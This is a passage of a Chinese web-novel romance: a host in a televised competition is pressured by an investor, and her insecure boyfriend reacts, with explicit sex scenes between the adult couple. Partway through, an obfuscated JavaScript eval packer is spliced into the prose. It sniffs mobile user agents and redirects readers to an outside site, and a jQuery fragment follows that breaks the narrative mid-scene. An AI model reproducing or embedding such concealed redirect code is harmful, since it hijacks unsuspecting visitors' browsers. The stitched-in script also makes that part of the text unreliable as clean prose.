祁放抬到一半的手又放了回去。什么都不需要他做吗? 付轻屿罕见的没赖床,起床喝了口水,又一头扎进书房。 祁放做饭打扫卫生,顺带照顾绿植,忙完就开始画稿,两人全天没说上几句话。 吃过晚饭,祁放将厨房收拾干净,去书房找付轻屿。 付轻屿听到祁放开门,又看了眼时间,还不到19点钟,“现在就回去吗?”她说着,开始整理手头上的文件,“等我下,我送你。” 祁放笑着摇头,“我过来跟你说会话再走。你继续弄就好,我自己能回去,没那么娇贵,出门还得车接车送的。” 付轻屿微微一愣,这才意识到自己忙了一天,完全把祁放晾在一边,好像拿人当保姆了。 祁放走到付轻屿身边,看看她整理的资料,又问:“瞧你一天急急忙忙的,是遇到什么难题了?要不要跟我说一下,多个想法多条路嘛。” 付轻屿自己都是一坨乱麻捋不清,更别说跟祁放讲了,她也不想把这些烦心事塞进祁放脑子里。 “没事,就是要查的资料太多,整理起来费神。” 祁放半坐在桌边,淡淡笑了下,对付轻屿的回答早有预料。 “今天太忙,实在没抽出空陪你。”付轻屿扯着祁放的衣服,将人往下拉。 祁放两手撑着椅子扶手,弯腰接吻。 付轻屿松开祁放的衣服,总感觉他今天不热乎了。 祁放神情淡淡的,视线在她眼睛和嘴唇间打转。 “怎么了?不开心了?”付轻屿拉过祁放,揽着他的腰,想让人坐在自己腿上。 祁放稍微抗拒了两下,发现自己实在没法拒绝付轻屿的撩拨,“椅子承受不住。” “能行,特别结实。”付轻屿让祁放后背抵着桌沿,将人按在自己腿上。 祁放不敢实坐,两人距离拉得极近,他垂眼,感觉付轻屿就贴在 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付轻屿使劲吸的那下,祁放感觉心脏都要被扥出来了,他叼着衣服,嘴巴没法完全闭上,下意识哼出声。 声音不大,却娇的变了调,猫叫春似得。 祁放听到自己弄出的声音,耳根子一下就着了,羞的全身颤了下,紧紧抿住衣服,生怕再发出一点动静。 付轻屿将祁放嘴里的衣服拽出来,见他抿紧嘴唇,就笑着亲他的脸,“这么会叫呢。” 付轻屿伸手勾了下,将他□□露出来。 “洗个澡换个衣服再走吧,还没上手呢,就湿湿拉拉往外吐了,等会儿还了得?”付轻屿手指轻轻弹了两下。 祁放仰着脖子直颤,显然是受不住了。 “张嘴~”付轻屿换了个撒娇的语气,祁放听得魂都飘了,低头微微张开嘴,露出几颗小白牙和湿漉漉的舌尖。 付轻屿将人吻住,手上开始肆意妄为。 祁放藏在喉咙里的声音,全都被付轻屿勾了出来,细微的吭叽声,更撩人。 体内撩起火,祁放杂七杂八的情绪全飞了。 现在付轻屿的心思都在他身上,捕捉他的每个反应,光是想到这个,祁放的脑子都快爽飞了。这个时候,付轻屿是他的,只会看着他,谁都抢不走。 炸开烟花后,祁放哆嗦着卸了劲,抽纸巾给付轻屿擦手。 两人对视,祁放也不吭声,付轻屿那句‘这么会叫呢’,给他说臊了,臊的更张不开口了。 付轻屿闲着的那只手,抓住他的宝贝,塞了回去。 “哎!”祁放急地出了声,他知道,付轻屿就是故意的,故意让他先开口说话,“你干啥啊?” 付轻屿笑:“放回去啊,还没够吗,没够再来。” 祁放急忙压下她的手,小声道:“可以了。” 付轻屿就喜欢看他又羞又怒的表情,仰头在他嘴上亲了下,“不够就说,又不是不给你办。” 在这个话题上,祁放一向说不过付轻屿,干脆就不说了,闷头给她擦另一只手。祁放想,他是爽了,付轻屿什么感觉啊?应该也没什么感觉吧。 祁放抬眼,“开心吗?” 付轻屿笑着点头,“要是能做点别的,会更开心。” 听到开心,祁放心里空落落的地方好像被捂了把。这个开心也只有他能给付轻屿。 祁放跟她对视一眼,将衣服整理好,淡定地说:“那下次给你做,让你更开心。” 这次换付轻屿愣住了。两人都知道下次要做什么,就是没想到这个话是祁放先开的口。 祁放转头看向桌上资料,又问付轻屿,“真不需要我帮忙吗?” 付轻屿还有点懵,伸手呼噜他的头发,“不用。留着你的小脑瓜去画稿吧。” 祁放转头看她,“你……喜欢我吗?” “喜欢啊。”付轻屿捧着傻乎乎的人亲了下,“喜欢得不行。” 是对小猫小狗的那种喜欢吗? 像对宠物一样喜欢,只要承受你的关爱就好,别的什么都不需要做吗? 祁放心里想着,最终没问出口,又给她嘴上盖了个章,“我洗澡换身衣服就回学校了,别太想我。” “我送你。” 付轻屿想要起身,被祁放按了回去,“不用。我自己能回去,正事要紧,你先准备下场晋级赛。” 祁放不让送,付轻屿没拗过他,两人就在书房简单道了个别。 49. 49 晋级赛,20进12,付轻屿成功晋级后松了口气,同时也意识到,这场选拔更像选秀。 冠军季军亚军,最后的名额只有三位,狼多肉少,大家都削尖脑袋往上爬。在这里,主持功底好不是亮点,而是基本条件。 要有突出的个人特色,要能抓住观众和评委的眼睛,最好还能带起讨论度,又不能是负面影响。 既要鱼满仓,又要网不破。 这场选拔不只要选出三名主持人,也是档综艺节目,除了舞台上的正式比拼,还录制了许多场下训练和日常。 晋级赛录制完,初赛视频已经剪辑好,并在网上正式发布。 评委和主办方也要根据观众反响,重新评估各位选手。 初赛视频来看,付轻屿的镜头并不多,除去上台时间,基本看不到她的身影,哪怕看到了,也是个安静的背景板。 对付轻屿来说,下台就是备战和休息,属于私人时间,她不习惯这种情况下的镜头,更不要说展示自己了。 就此情况,晏清还点拨了付轻屿几句。 付轻屿颇为苦恼,本以为专业能力够硬,台上表现能打就可以了,现在还要自己抓讨论度? 备战和休息时间,本来就忙得焦头烂额,付轻屿觉得能安静让摄影大哥录像,已经算表现很好了,硬要她展示,她也展示不出来。 左思右想,付轻屿打算保持原状,不忘安慰自己,万一有人喜欢安静点的选手呢,她的镜头就当缓冲带,给大家放松一下情绪了。 下场半决赛,12进6,更是场硬仗。 与之前一样,晋级赛录制完,有一周左右的休息时间,主要是为了配合几位评委老师的流程安排。 付轻屿拿到手机后,给祁放回了条消息,让他去地下停车场等。 一出楼梯口,付轻屿没看见祁放,倒先看到个触霉头的家伙。 沈则序眼皮轻撩,收起游戏机,“够慢的。” 付轻屿心烦,面上客气地笑,“小沈总有事?” “没事啊。”沈则序笑脸相迎,漫不经心地说,“想跟老朋友叙叙旧,走吧。” 付轻屿不想得罪沈则序,又烦他这副颐指气使的样子,“老朋友?我?” 沈则序不满意她的回答,压了下眉头,“不是吗?” 付轻屿轻笑道:“不敢高攀。小沈总,有什么话直说就好。” 沈则序一脸无所谓,两眼环视四周,给付轻屿报了个警惕信号,“我倒是无所谓,这不是怕对你影响不好嘛,毕竟像我这种花边人物,很多人惦记的。选手跟投资方,要是被拍到,恐怕对你不好呀。” 付轻屿咬了咬牙,淡淡道:“去哪?” 沈则序朝身后随意指了下,“车在那边。” 付轻屿看向四周,没见祁放的身影,还没下来吗? “我时间不多,希望小沈总长话短说。” 沈则序跟在付轻屿身边笑,“瞧你这架势,整的我跟瘟神一样,我可不喜欢长话短说。” 付轻屿挂着笑,她摸不清沈则序的脾气,但能看出他不会因为一两句话翻脸,毕竟他这人挺没脸没皮的,“小沈总不说废话就行。” 沈泽川笑笑,拉开后排车门,给付轻屿做了个请的动作。 付轻屿蹙了下眉头,无奈坐了上去。奇亚的小少爷,节目的投资人,能不得罪就不得罪。 沈则序关好车门,得意洋洋地走到另一侧上车。 “砰”的一声,车门关了,祁放也退后一步。 付轻屿和沈则序有说有笑,看着不像很烦的样子。 或许是表面功夫呢? 万一在说比赛相关的事,说模特工作上的事,说…… 祁放拳头攥紧,死死盯着那辆黑车。他想冲过去,又怕两人真在说公事,自己添乱,耽误了付轻屿的工作。 黑车一直很平静,仿佛没有人上去,仿佛刚才的一切都是他的臆想。 祁放眼里的愤闷逐渐麻木,拳头也松了劲,脑子里一片混乱。 冲动解决不了问题,付轻屿不喜欢他莽撞,不喜欢他做事欠考虑,不喜欢他横冲直闯…… 付轻屿喜欢他什么?祁放使劲想,可是脑子太乱了,想不出来,他想不出来付轻屿喜欢自己什么。 眼泪顺着脸颊流,祁放不知道自己在哭,他只想拉开那扇车门,好想把付轻屿抢回来。 愤闷已经燃烧殆尽后,只剩恐惧。祁放害怕看到付轻屿不满的眼神,更害怕付轻屿的眼神偏向沈则序。 付轻屿没空演默剧,“小沈总想说什么?” 沈则序的目光从车窗外收回,“小男朋友没跟来?” 付轻屿朝车窗外看了眼,没找到祁放的身影,“小沈总想闲聊的话,可以换个人,我说话不好听。” 沈则序像是听了个笑话,笑得停不下来,“不管怎么说,我长的不赖啊,身世地位都摆在这,不比你那小男朋友更有魅力吗?” 付轻屿转头看他,实在没收住恶心的表情,“是个女的就得喜欢你吗?我倒觉得你未婚妻更有魅力。” “嗷?这个样子吗?”沈则序撑着脸笑,语气轻飘,“啊,你不会以为,我真喜欢你吧?” 付轻屿:“我看着像没长脑子的人吗?” “那倒不像。”沈则序摇头,“不愧是我发现的人,果然有意思。” 付轻屿无奈看着他,“不喜欢你车里的味道,有事快说吧。” “啊?不好闻吗?十几万一瓶的香薰呢。”沈则序见付轻屿没了耐心,开始说正事,“节目什么样,你也看到了吧。能力是一方面,热度是另一方面。” 听到正事,付轻屿的态度稍微缓和了些,“这次选拔毕竟也要做成节目,能理解。” 沈则序列举了四五个人名,其中包含付轻屿,“说实话,两场比拼下来,各位评委老师心里都有数了,你们几个的能力大差不差,剩下的要看什么,晏清都指点你了,也用不着我多说。话说回来,晏清好像还挺喜欢你的,下次我要跟她聊聊。” 付轻屿噤声,这好像不是她该听的吧? 沈则序换了个舒服的坐姿,“这次是为了给《团战到底》选主持人,前三甲会选两个男生一个女生。因为另外两个主持人,一男一女已经定好了。 你也知道,娱乐综艺类的主持人嘛,大家都各司其职,各自稳定人设。 如果你能成功拿奖的话,将会得到一个小公主人设,做事傻白甜,有长相样貌就行。你应该也知道,这个类型的主持人是节目缺口,愿做的人不多,收的太过,端,收的不够,傻。” 付轻屿皱眉,这真是主办方内幕了,沈则序给她说这些干什么? 沈则序饶有兴趣地看着付轻屿,挑眉道:“喜欢吗?” “没事少吃点油,不健康。”付轻屿一副没眼看的表情,转过头说,“你说这些,什么意思?” “你不该谢谢我吗?”沈则序笑,“这属于内幕吧,给你个提前思考的机会,顺便看看你什么反应,怎么挣扎,我可不想你输啊。” “真是谢谢小沈总。”话里透着虚情假意,挺明显的,付轻屿懒得收。 内幕真假放到一旁,沈则序的话不是全无道理,娱乐综艺节目的主持各司其职,都会有比较突出的记忆点。 哪怕在《趣事》,何雨萌带队的时候,主持人也都是个性鲜明,但没有刻意‘扮丑’的成分。付轻屿从毕业就跟了何雨萌,跳出来后才发现大家对女主持的想象,实在有些匮乏。 大势所趋下,衬得那些窄路更加崎岖,看不到尽头,希望渺茫。 付轻屿心里有些动荡,一时又考虑不清。 沈则序摸索出烟盒,自己咬了根,又给付轻屿递过去,“赢下比赛,拿到‘小公主’的主持位,是你想要的吗?” 付轻屿看他,才发现这人也会有正经表情,就是看着更别扭了,还不如满嘴跑火车。 见她摆手,沈则序收回来,自顾自地点烟。 车内一时静默,付轻屿先开口:“总得先能吃上饭,再谈想不想吧。” 沈泽川哼了声,嗤笑道:“你吃不起饭?你这话说的,有人信吗?” 付轻屿算是发现了,这人好好说话超不过两句,“吃饭就单纯指吃饭啊,脑沟还能再浅点吗?” “你缺什么东西吗?” 话题逼到这,付轻屿想了下,才发现没有非要不可的东西。为了不打自己的脸,她犹豫道:“房子。” “我送你一套。” “要不起。” 沈则序笑:“你看,其实你也不是很缺房子。” 付轻屿:“……” 沈则序:“这自尊心强的,我喜欢。” 付轻屿嫌弃的“啧”了声。真是被沈则序带偏了,说这些有的没的。 “真是奇怪,哪怕不被别人困在笼子里,自己也得把自己困在里面。”沈则序抽着烟笑,“可能是笼子里面舒服吧,你觉得呢?” “也许吧。” 如果内幕是真的,她想要‘小公主’的主持位吗?真的没有其他选择吗?何雨萌递过橄榄枝…… 付轻屿撩了把头发,心里乱。 “小沈总还有要说的话吗?” 沈则序摇头,“慢走。” 付轻屿打开车门,听沈则序又问:“说真的,我不比你的小男朋友帅吗?” 付轻屿懒得看他,“差远了。” “你可不能输啊,我太喜欢你了。” 付轻屿长呼一口气,终于说出了心里积攒已久的三个字,“神经病。” 关好车门后,付轻屿一边找车,一边给祁放打电话。 铃声在不远处响了。 付轻屿站在原地,目光向四周搜寻,看见祁放的身影才挂断电话。 “刚下来吗?怎么没给我发消息。” 祁放顶着泛红的眼眶,努力扯了个笑,稍微张了张嘴,又不知道该说什么。 付轻屿心里一下就慌了,抬手摸摸他的眼角,“怎么了?出什么事了?” 祁放笑着,嘴角上下拉扯两下,眼泪不受控制的往下流。他轻声说:“我看到你和沈则序上车了。” “气哭了。”祁放快速抿了把泪,五官在哭笑之间乱扭,“但是我想了想,没过去,厉害吧。” 付轻屿还是习惯祁放倔一点,耍耍脾气。他这幅样子实在让人心疼,受了委屈都不敢说似得,叫人看了,眼里进沙子。 “说比赛的事呢。”付轻屿给他擦泪。 祁放自己也急忙擦,费劲心思想给她扯个笑,又扯不好。 地下停车场没人,付轻屿也顾不上那么多了,轻轻含了下他的唇,被眼泪浸的嘴角又苦又咸。 祁放抱着付轻屿转了个方向开始索吻。一想到自己背后的黑车,想到沈则序才是那个局外人,他吻得更急切更用力,软舌不断向深处搜刮。 付轻屿由着他也有个度,喉咙那一下奇怪的触碰,激的她头皮发麻,无意识呛了声,把祁放推开了。 祁放并没意识到自己的恶行,被付轻屿推开时,他心里猛地坠了下,又捧着付轻屿的脸亲一遍。 付轻屿整张脸都湿乎乎的,不知道是祁放的口水,还是泪。她拽着祁放的衣服擦了擦脸,“都是你弄的。” 祁放很享受付轻屿随便拉扯自己,没出息地笑了下。 付轻屿给他擦泪,“受气包。” 祁放哑着声音说:“不是受气包,没多少气。”以前吃醋就闹,想让付轻屿多哄他两句。现在没自信了,不敢闹了,总怕在这节骨眼上给付轻屿添乱,怕惹得人心烦。 付轻屿牵他的手,“先去找车,我都忘记把车停哪了。在这吃吗?还是回江城吃?” “回去吃吧。”祁放不喜欢永安,好像只有回到江城,回到家里,付轻屿才是他的,才不会看别人。 开车回去要三个小时左右,一路放着车载音乐,两人却安静了很多。 付轻屿还在想沈则序的话,关于这场主持人选拔,关于以后发展,关于下场半决赛,乱七八糟的东西混在一起,绕啊绕啊,实在太乱了。 祁放在想付轻屿,明明人就在身边,他心里却不踏实,不安的感觉四处乱窜,逼得他要走火入魔。 哪怕付轻屿说了,她和沈则序只是讨论比赛有关的事,祁放心里也不舒服。 付轻屿跟别人说他不知道的事,就跟挖他心一样。好似付轻屿把爱分给别人了,跟别人有秘密了。 他想听付轻屿工作上的事,又十分清楚自己帮不上忙,再吵着要付轻屿讲,挺无理取闹的。 祁放看看付轻屿,又收回视线看窗外。 他不愿意像只宠物一样,什么都不用管,什么都不用知道,只要乖乖坐好,等着付轻屿来亲亲抱抱。可是他又没出息,付轻屿稍微给点甜头,他就只会摇尾巴,什么都问不出来了。 祁放也知道,哪怕他问出来,付轻屿也不会说。毕竟他什么都解决不了,说了也是浪费口舌。 付轻屿跟他之间,像隔了层薄雾,看不真,摸不实,总感觉走着走着就要散在这场雾里。 祁放哪能撒手,不管怎样,他都会用力拽实,跟他好了,这辈子都是他的。 付轻屿带祁放去吃芝士炒鸡,以前总和颜泠吃,都跟老板认识了。 饭桌上,祁放拿着手机捣鼓半天,表情逐渐欢快了。付轻屿看着他,心里也踏实下来。 家门口放着个牛皮纸带,付轻屿一出电梯就看到了。祁放急忙上前拿起来,藏着不让她看。 “买的什么啊?”付轻屿跟在祁放身后进门,“刚才没吃饱吗?” 祁放开灯,转身亲了下付轻屿,“你喜欢我吗?” 好熟悉的问题,祁放应该问过好几遍了。付轻屿想了下,她确实不爱主动说这话。“喜欢啊。当然喜欢你了,不然还能喜欢谁。” 祁放抿了下嘴,外面的男人可多了去了。 付轻屿想看他手里东西,“你买什么了?” 祁放不理她说的,又问:“最最最喜欢我吗?” 付轻屿笑:“最最最喜欢你。” 祁放盯着她,“我去洗澡。上次说了,让你更开心。” 付轻屿知道祁放买的东西了,当场愣住。 是她掰祁放吧? 掰的这么成功吗? 祁放居然自己提?! 付轻屿感觉自己发飘,幸福重拳出击,她都不知道该说什么了。 “干什么?你不想做吗?”祁放蹙眉,他以为付轻屿会特别开心,没想到她表情冷淡,跟石化了一样。 付轻屿问:“你真想好了?” 祁放不爽,他不喜欢付轻屿这个反应,“东西都买了,你还问。你不想做?你觉得我身材不好,觉得我个头太大了,觉得我反应没意思,是不是?!” 祁放捏着手里的袋子,理智仅存的那根弦也要断了,快疯了。 付轻屿抱住祁放顺了顺毛,“想做,你突然袭击,我都懵了。哪都好,我宝贝着呢。” 祁放撇嘴,心里被付轻屿塞了两句话,酸涨酸涨的。他哼了声,“你最会说这些好话了。” 付轻屿顺势亲亲他下巴,又笑:“你不爱听啊。” “爱听,就吃你这套。”祁放说,“我先去洗。” 付轻屿将他松开,怎么看怎么可爱,“去洗吧,等会有的是套给你吃。” “你说这……哎你这……”祁放本来觉得自己挺有气势,结果付轻屿一句话,他就被堵死了,老脸一红,转头往浴室跑。 祁放第一次弄,不熟练,在浴室气哭了,总感觉工具也跟他作对。 不能都怪工具,他也哭自己没出息,用这种手段绑住付轻屿。 付轻屿对感情很郑重,所以总会问他想没想好。祁放知道,所以利用了她这一点。只要做了这事,付轻屿就不可能随便提分手,不可能随便把他丢下。 祁放擦了擦泪,感觉自己挺可耻的。 他以前看书、看影片,最讨厌里面的人不爱惜自己,想要献出身体卑微挽留的戏份。现在,他也成了这样的人,甚至还多了层阴险狡诈。 这是治标不治本的事,祁放知道,就算做过爱,付轻屿也不会对他敞开心扉,这段关系依旧像好主人与爱宠。 可是,他太想要付轻屿只看自己,没有其他办法了。 祁放整理好自己,穿上浴袍,努力对着镜子笑了下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966580|193406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原来是他更需要付轻屿。 付轻屿等得有些焦急,三番两次想要去浴室门口询问,又怕祁放觉得她催,就忍住了。 祁放比平常多洗了一个多小时。 房门打开,付轻屿一身睡衣坐在床上,祁放站在门口,两人大眼瞪小眼,隔着五六米,有种掀开红盖头,新婚入洞房的感觉。 付轻屿招了下手,祁放心里五谷杂陈,抬腿走到床边,只剩紧张了。 付轻屿的吻从额头落到眼角,再到鼻尖脸颊,在他脸上游走一遍。 祁放心头都跟着发麻,付轻屿从来没这样亲过他,跟捧着个宝贝似得。他胡作非为时,喜欢在付轻屿脸上撒欢,带着咋呼劲,哪都得亲两口,没这么温柔,揉的心都快化了。 洗完澡,付轻屿没挽头发,淡淡的茉莉香散开,发丝有意无意地撩人。 祁放像喝了假酒,整个人都晕乎了,天旋地转,也不知道什么时候倒下的。 心被叼住了,祁放绷着劲,半点都动不了。 熟悉又陌生的感觉从心口散开,直冲天灵盖,祁放下意识缩着躲,结果换来重重一叼。 付轻屿使了劲,故意给他留个印。 祁放惊叫一声,是真疼了,下意识发出的声音,不好听。祁放抬手挡住脸,突然想起付轻屿给他看过的片,人家那是叫.床,他这是过年杀猪了,嚎一嗓子。 付轻屿勾着嘴角,没调侃他,手指在牙印上摩挲。 祁放稍微动了下胳膊,溜出条缝隙看付轻屿。 付轻屿看不到祁放的眼睛,也不跟他说话,只是用手指拨弄他左边的耳朵。 祁放又羞又怒,胳膊侧了下,将左耳遮住。付轻屿换了个方向,去拨弄他右耳。 “你干嘛?”祁放甩开胳膊,直勾勾地瞪过去。 付轻屿一时分不清他是生气,还是撒娇呢,“别遮,想看你。” 祁放没脾气的“哼”了声,想起自己那声猪叫,脸上又挂不住。 付轻屿扯扯他的脸,又捏捏他的鼻子,“转过去。” 不知道什么时候,仅有的一件浴袍七零八落。祁放看了眼付轻屿,见她一身睡衣穿搭整齐,心里又开始不得劲。不公平,只有他光溜的,都不像做.爱。 反过来一想,祁放也不愿强迫付轻屿穿多少,跟耍流氓似的,不好。 付轻屿柔声说:“想什么呢?我帮你转吗?” 祁放一扭头,“不要。我也想看你。” “刚才走神,想什么了?”付轻屿语气轻柔,开始带指.套。 “想你。”祁放飘过一眼,发现付轻屿分别套了三根手指。 很正常的戴法,可能是付轻屿的手指修长,太过好看了,祁放感觉带的这个小动作特别涩。 脑袋发完飘,开始知道害怕了,祁放咽了下口水,一根都够受的了,三根,付轻屿是想弄死他吧。 祁放绷直身子,侧颈的青筋凸起,脸色泛起潮红。真要做了,他回不了头了,付轻屿也别想回头。想到这,祁放心里的恐惧褪下几分,痴痴地看着付轻屿。 付轻屿一转头,看到祁放的痴迷表情,心口往外漾蜜,想看他哭着闹着挣扎,四肢无力又爬不起来,只能窝在她眼皮子底下。 更想看他受不住时求饶,眼神涣散,满口说胡话,嗓子藏不住声,娇了音变了调,呜咽着让说什么就说什么。 看着祁放那痴恋摸样,付轻屿又忍不下心,毕竟是头一回,还是为了她才伏身,哪舍得狠心折腾。 付轻屿拿了瓶水一样的东西,示意祁放配合,“张开些。” 一下子,祁放肯定没法完全适应,也不知道是羞的臊的,是害怕了,还是没彻底弯过劲来,感觉别扭。他偷瞧了眼付轻屿,跟树懒似得动了下。 安抚环节,付轻屿做得充分,祁放一开始绷着劲,迷迷糊糊的就软了,毫无防备地环着她。 乍一碰,祁放像只准备弹跳的大虾米,猛地拱起背,往旁边躲开,还没来及反应,嘴又被堵上了。 付轻屿翻弄他的唇舌,将人搅乱,步步紧逼,就要他羞过劲、臊过头,彻底适应不可。 祁放突然闷坑一声,仰起脖颈,喉结上下翻滚。 自此彻底伏身给她。 “真可爱。”付轻屿感受到他的迎合,直送到底。 祁放乱颤,大脑溺在酥麻中,快要丧失意识。他费力抓出浮木,往人身前凑,想躲开身后那只胡作非为的怪物。 付轻屿摸着他的后勃颈安抚,拎起人接吻,中指也开始发坏。 “疼……付、付轻屿,不要两……”祁放也顾不上矫情不矫情了,是真疼,疼得难受了。 祁放开始怀疑人生,那些视频全是演的,爽个屁!都是找虐受吧!疼死了!死了算了! 付轻屿耐着性子哄,“没事,正常的,缓一缓就好了。” 心里最难受,他想听付轻屿多说几句好话,又张不开嘴要,自己嫌自己扭捏。 祁放眼睛湿漉漉的,对上付轻屿的视线,整个人又溺死在她的眼神里。只想停在这一刻,让付轻屿的视线全都停留在他这。 付轻屿亲昵着逗人,将炸了毛的小狗安抚好,再次加码,无意间勾到了地。 “别……”祁放一下子激出泪花,声音梗在胸口发不出来,只能尽力调整呼吸。 感官开始混乱模糊,分不清是疼,还是什么。 祁放感觉自己不对劲,脑袋里只剩害怕,“我不行,我要死了,付轻屿我要死了,别弄了,我真要死了。” 眼泪一出就收不住了,各种情绪在心里搅,他开始无缘由地厌恶自己,痛着声讨,“疼死了,付轻屿,我要死了,你不喜欢我了,你个骗子!” 付轻屿没意识到自己勾着点了,以为他是真的疼,轻轻亲怀里的泪人,“这么疼吗?” 祁放喘口气,被付轻屿亲老实了,死要面子的那股劲又跑上来,“……心里疼。” 付轻屿狠不下心来使劲勾,照祁放闹下去,头一回连地都找不到,那真是闹笑话了。 “喜欢你,最喜欢你了。”付轻屿柔声哄着。 祁放耳朵红成猪肝,往前躲不了,往后更躲不了,只能一头埋进被子里,嘴里死死咬住布料,闷声。 付轻屿搜寻到地,毫不客气地揉玩起来。 祁放随着烟花上了天,眼前一片模糊,不知道大脑停转了多久,只感觉比之前时间更长。太不对劲了,像是灵魂出窍,快要死了吗?身体怎么还在打颤? 宝贝榨干取尽,吐到最后,只剩些淅淅沥沥的水滴。 付轻屿乱七八糟的东西收进垃圾桶,帮忙做清洁工作。 祁放傻傻问了句,“做完了吗?” 付轻屿笑着清理,“还没够?” 祁放慢慢缓过神,见付轻屿又向那处伸出魔抓,真害怕自己死在这,“够了。” “给你上药。” 祁放一听,急忙将她手里的药拿过来,哑声说:“我自己来。” 付轻屿不跟他争,“还疼吗?” 祁放爱在这些小事上逞能,当即摇头,“不疼了。” 付轻屿看破不说破,“一开始有点疼是正常的,你太紧张了,下次放轻松点会好很多。” 祁放踹了踹被子,将付轻屿抱进怀里,邀功似得,“开心吗?” “开心了。”付轻屿拍拍他的后背,“你太可爱了,怎么这么可爱?” “你怎么不抱我?”祁放问,“喜欢我吗?” 付轻屿给人抱住,“喜欢喜欢喜欢,你再问八百遍也是喜欢。” 祁放心里好受了许多,又亮出自己的小獠牙,“你要是敢跟我分手,我就死你床上,让你跟谁做这事都有阴影、都能想起我来,做鬼也缠着你。” 付轻屿笑:“这么说,你做鬼都给我干。虽然有点恐怖,倒还挺好奇是个什么滋味。变成鬼了,肠子会是凉的吗?” 祁放也跟着想了下,随后又气呼呼的反应过来,“重点是这个吗?重点是你不能跟我分手,我都是你的人了!” “不分,好端端的,不说这话。” 祁放也心满意足地哼了声。 付轻屿埋在他怀里,满意地说,“我的人了。” 50. 50 付轻屿还没睡醒时,脸上被亲了几口,她迷迷糊糊地往祁放身上呼噜两下,又睡过去了。 睁开眼时,身边已经空了,付轻屿伸手往一旁摸了下,还是热乎的,祁放起床没多久。 想起昨晚,付轻屿心里格外舒坦,一点没赖床,先往厨房看了眼,见祁放在做饭,才转身去洗漱。 “还疼吗?肚子难受吗?” 祁放听着付轻屿说话,没转头,“就疼那两下,后面都……都爽了。我没事,没那么金贵。” 疼真算不上,毕竟是头一回,生理结构摆在那呢,事后有点说不上来的别扭。爽都爽过去了,祁放心里得劲,现在这点别扭根本不算啥。 付轻屿从背后抱住祁放,稍微踮脚,下巴挂在他肩膀,赖床那两下,赖到祁放身上了。“难受就说,别不好意思。” 这一抱可给祁放抱美了,整个人跟锅里的鸡蛋一样,刺啦刺啦的要开花。从来都是他黏糊人,付轻屿哪主动粘过他。 “真没事。”祁放笑着,又煎了两鸡蛋,不想动地,就愿意让付轻屿在他背后多抱会。 付轻屿在他腰上揉了两把,又亲了亲耳垂,转头去端饭。 祁放被哄得晕头转向,也顾不上那些乱七八糟的事,笑着把豆浆端出去。 付轻屿接起电话,颜泠打的。 “晋级半决赛了,可以啊付主持人,加油一把夺冠。”颜泠说,“等我回去,好好给你庆祝。” “那我可等着了。”付轻屿咬了口煎蛋,脆香的焦边给颜泠听饿了。 祁放问:“谁啊?” 付轻屿接过筷子,点开免提,“你姐。” 祁放很满意这个回答,坐下吃饭,顺便唤了声姐。 颜泠:“听听,这声姐叫得不情不愿,你小子就该庆幸我工作忙,要不然,轻屿有空跟你待着?这也不往我那跑了,以前一周一趟,跑得哟,勤快的不得了,还说什么常回家看看,我早就看出你小子不对劲了。” 付轻屿看了祁放一眼,笑笑没说话。 祁放不好意思的“哎”了声,“姐!你咋这么烦人呢。” 颜泠:“跟你学的” 付轻屿说:“拍摄快结束了吗?” 颜泠:“一周左右吧……” “别喝凉的。” 颜泠还没说完,电话那头传来一句男声,付轻屿和祁放视线一碰,耳朵瞬间支棱起来。 “少管我,烦死了,你非过来干什么?” 男声没再出现,只剩颜泠对冷咖啡换成热豆浆的不满。 付轻屿笑着问:“李杨啊?” 颜泠烦躁的“嗯”了声,听声音应该是喝了口热豆浆,“真是招惹个祖宗过来,管天管地,烦死了。” 李杨的声音再次出现,只说了简短有力的三个字,“生理期。” 付轻屿没忍住笑了声,“好了,等你回来一起吃饭,带上李杨。” 颜泠哑火,“带他干什么,不带。” 付轻屿跟颜泠多聊了几句,直到吃完早饭,电话才挂断。 “你快去准备半决赛,我收拾这些。”祁放收起碗筷,“等会得回学校,老师开会,不能陪你待到晚上了。” “我送你。”付轻屿舍不得祁放走,又没时间陪他,只能在心里暗叹一声。 祁放摇头,“不用,来回挺麻烦的,不差这一时。” “我参加选拔,这弄得,好像你比我还紧张呢。”付轻屿跟他一起收拾,“送你一趟,耽误不了。” 这话受用,祁放点头应下,不耽误事就行,他也想跟付轻屿多待会。 送到学校,付轻屿怕祁放逞强,难受也不说,又叮嘱:“不管哪里难受,记得跟我说。” 祁放匆忙点头,“真没事,你别把我想得太脆。你那几下,没这么大威力。” 付轻屿笑了笑,床上要死要活的人,也不知道是谁。 祁放嘴上逞能,背地里一顿搜索。 ‘4i放进去时,有点疼是正常的吧?’ ‘爽的时候,大脑空白的时间有点长,不会死吧?’ ‘弄出来后,还不自觉地抖,没事吧?’ …… 查了半天,祁放还手滑点了几个推荐标题和男科广告。最终得出结论,一切正常,是他太紧张了。 祁放揣起手机,脑子开始乱飘。 看网友分享,有做一晚上的,还有做三天三夜。付轻屿好像没那么大的兴致,一次就够了…… 难道是性冷淡? 祁放拍拍脑袋,将废料甩出去,开始想正事。 付轻屿喜欢自己憋着事,祁放早就察觉到了,心里也埋下粒小石子。他知道付轻屿慢热,想着时间一长就好了,现在看来,得主动撬开她才行。 小石子埋在心底,是有点别扭,但问题不大,祁放能受着。没想到沈则序冒出来,将小石子踢的到处乱飞,在他心里擦火,想忽略都忽略不掉。 亲密的事做完,再加付轻屿今天的反应,祁放一身炸毛被撸顺,心里恢复些底气。 等选拔结束,他一定要和付轻屿认真聊聊。 —— 这段感情,付轻屿踏实得不行,祁放主动给她喂了颗定心丸,想都不敢想的事,祁放就这么做出来了。 接连两天,付轻屿都是微微发飘的状态,准备比赛都更有干劲了。 关于这场主持人选拔,付轻屿认真考虑了很多。 倘若沈则序说的内幕不假,‘小公主’的主持位不是她想要的,哪怕签了合同,拿到这份工作,早晚有一天会走《趣事》的老路,到那时,可没有何雨萌给她兜底了,该赔的违约金就得赔。 